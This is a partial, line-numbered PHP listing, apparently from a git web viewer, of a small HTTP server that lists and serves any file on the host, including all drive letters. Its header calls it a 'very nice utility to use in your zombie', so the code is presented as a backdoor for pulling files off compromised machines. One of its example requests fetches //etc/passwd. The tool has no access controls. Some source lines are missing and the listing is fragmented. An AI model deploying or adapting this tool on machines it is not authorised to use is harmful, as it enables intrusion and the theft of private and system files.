5 Allows you to binary safe download any file from remote pc
6 http://server:port/file
7 http://server:port//etc/passwd
8 http://server:port/C:\dir\file
9 http://server:port/C:/dir/file
10 Since version 0.6 there is filelisting
11 http://server:port/dir
12 http://server:port//etc
13 http://server:port/C:/dir
14 http://server:port/C:/dir/
15 You can also play multimedia like streams (using XMMS, Winamp, etc...)
16 But this can serve only one file a time
17 (if you are streaming or downloading, you can download/browse anything other,
18 but you can use download manager to download file by file...)
19 You can change port or interface by passing arguments
20 Usage: (httpd.php [port] [interface_IP])
21 This is very nice utility to use in your zombie.
24 //////////////////////////////////////////////////////////////////////////////////
25 $interface = "127.0.0.1";
26 //$interface = "192.168.2.130";
29 //////////////////////////////////////////////////////////////////////////////////
30 $okheader = //Header 200 FILE
32 "Server: Harvie's HTTPd\n".
33 "Connection: close\n\n";
35 $dirheader = //Header 301 DIR
36 "HTTP/1.0 301 Moved Permanently\n".
37 "Server: Harvie's HTTPd\n".
39 "Connection: close\n\n";
41 $badheader = //Header 404
42 "HTTP/1.0 404 File not found!\n".
43 "Server: Harvie's HTTPd\n".
44 "Connection: close\n\n";
46 $err404 = "ERR 404 - NOT FOUND!"; //Error 404
48 //////////////////////////////////////////////////////////////////////////////////
50 if($argc > 1) $port = trim($argv[1]);
51 if($argc > 2) $interface = trim($argv[2]);
54 ///FUNCTIONS//////////////////////////////////////////////////////////////////////
55 function send_dir_listing($fp, $directory) {
58 @fwrite
($fp, "<html>\n<head><title>Index of $directory</title></head>\n<body><tt>\n");
59 @fwrite
($fp, "<b>Available volumes:</b><br />\n");
62 @fwrite
($fp, "[<a href=\"/\">/</a>]\n"); //Server root
63 if(is_dir("/")) { //Unix root
64 @fwrite
($fp, "[<a href=\"//\">//</a>]\n");
68 $dsks = "cdefghijklmnopqrstuvwxyz"; //Show this volumes (if available)
69 for($i=0;$i<strlen($dsks);$i++
) {
70 if(is_dir($dsks[$i].":")) {
72 @fwrite
($fp, "[<a href=\"/$vol:/\">$vol:</a>]\n");
74 //echo($dsks[$i].":");
76 @fwrite
($fp, "<br />\n\n");
79 @fwrite
($fp, "<b>Directory listing of $directory :</b><br /><br />\n\n");
80 @fwrite
($fp, "[DIR] <a href=\"./../\">Parent Directory (../)</a><br />\n");
81 $files=opendir ($directory);
82 while (false!==($file = readdir($files)))
84 if ($file != "." && $file != "..")
87 if(is_dir("$directory/$file")) {
88 fwrite($fp, "$num - [DIR] <a href=\"./$file\">$file</a><br />\n");
90 fwrite($fp, "$num - <a href=\"./$file\">$file</a><br />\n");
96 fwrite($fp, "<br />\n<b>Total: $num</b>\n</tt></body>\n</html>");
99 ///CODE///////////////////////////////////////////////////////////////////////////
100 echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n");
101 //system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only
103 $sss = stream_socket_server("tcp://$interface:$port");
106 @$sfp = stream_socket_accept($sss);
110 while($sfp && !@feof
($sfp) && $loop) {
113 if(eregi("(GET|POST)", $line)) {
116 $line = explode(" ", $line);
118 $line[1] = trim(urldecode($line[1]));
121 if($line[1] == "/") {
124 $line[1] = substr($line[1], 1);
128 if(is_file($line[1])) { //200 OK FILE
129 fwrite($sfp, $okheader);
130 echo("200 ".$line[1]);
131 $fp = fopen($line[1], "rb");
132 while( fwrite($sfp, fgets($fp)) );
137 elseif(is_dir($line[1])) { //200 OK DIR
138 if(substr($line[1], strlen($line[1])-1) != "/") { //301 MOV DIR
139 $header = ("/".$line[1]."/");
140 echo("301 ".$line[1]." -> $header\n");
141 $header = str_replace("%DIR%", $header, $dirheader);
142 //$header = str_replace("./", "./", $dirheader);
144 fwrite($sfp, $header);
148 echo("200 [DIR] ".$line[1]."\n");
149 send_dir_listing($sfp, $line[1]);
152 else { //404 NOT FOUND
153 echo("404 ".$line[1]."\n");
154 fwrite($sfp, $badheader);
155 fwrite($sfp, $err404);
This page took 1.133921 seconds and 4 git commands to generate.